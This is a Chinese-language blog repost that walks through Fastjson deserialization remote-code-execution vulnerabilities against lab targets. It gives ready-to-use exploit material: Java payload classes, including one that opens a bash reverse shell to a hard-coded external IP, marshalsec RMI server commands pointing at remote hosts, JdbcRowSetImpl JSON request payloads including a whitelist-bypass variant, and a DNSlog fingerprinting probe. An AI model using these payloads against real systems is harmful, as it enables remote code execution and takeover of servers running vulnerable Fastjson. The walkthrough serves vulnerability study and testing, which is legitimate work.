当前位置:   article > 正文

Fastjson系列漏洞实战和总结

Fastjson系列漏洞实战和总结

前言

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。

 

目录

Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )

Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)

Fstjson < 1.2.60 远程拒绝服务漏洞

Fastjson <=1.2.68 全版本远程代码执行漏洞

总结

1、fastjson指纹识别


Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )

漏洞详情

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞版本

fastjson <=1.2.24

漏洞分析

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

漏洞利用

1、访问存在漏洞的页面,得到json格式的数据。

2、创建TouchFile.java文件,内容如下:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

3、执行编译命令javac TouchFile.java,得到TouchFile.class文件。并将其通过python3 -m http.server命令放到外网环境中,默认监听端口8000。

4、然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999
  • 1

5、在漏洞页面bp抓包后post提交数据,替换如下payload:

POST / HTTP/1.1
Host: 靶机ip:端口
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
 
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.xx.xx.xx:9999/TouchFile",
        "autoCommit":true
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

6、靶机执行命令成功 

 

Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)

漏洞详情

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

影响版本

fastjson <1.2.48

漏洞分析

https://www.anquanke.com/post/id/181874

漏洞利用

1、编写一个反弹shell脚本Exploit.java,并编译生成Exploit.class。

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/98.126.219.155/58274 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

2、然后将编译好的上传到服务器,利用python3 -m http.server 开启http服务。然后能够访问即可:

3、借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.108.118.128:8000/#Exploit" 9999
  • 1

4、接着开启nc监听端口4444:nc -lvvp 4444

5、向靶场服务器发送Payload:

POST / HTTP/1.1
Host: xx.xx.xx.xx:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
 
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.xx.xx.xx:9999/Exploit",
        "autoCommit":true
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

6、反弹成功

Fstjson < 1.2.60 远程拒绝服务漏洞

漏洞描述

Fastjson多个版本存在远程拒绝服务漏洞,Fastjson 1.2.60版本以下存在字符串解析异常,可导致远程拒绝服务攻击。攻击者即可通过精心构造的请求包对使用Fastjson的服务器造成远程拒绝服务攻击,可导致服务器宕机。

漏洞分析

影响版本

fastjson <1.2.60

fastjson sec版本>=sec06

漏洞利用

Fastjson <=1.2.68 全版本远程代码执行漏洞

漏洞详情

FastJSON <= 1.2.68 存在远程代码执行漏洞,可直接获取到服务器权限。漏洞成因是Fastjson autotype开关的限制可被绕过,然后链式地反序列化某些原本不能被反序列化的有安全风险的类。

影响版本

FastJSON <= 1.2.68

漏洞分析

https://www.cnblogs.com/tr1ple/p/12348886.html

https://www.cnblogs.com/ph4nt0mer/p/13065373.html

https://xz.aliyun.com/t/7878

漏洞利用

暂无

 

总结

1、fastjson指纹识别

如果有报错回显,可以故意构造不完整json请求,返回的数据包会进行报错。

发送内容最后少了个括号导致数据包不完整从而报错,从返回的数据包中可以看到有fastjson字样。

如果没有报错回显,利用dnslog进行回显

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog的地址"}}

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/953859
推荐阅读
相关标签
  

闽ICP备14008679号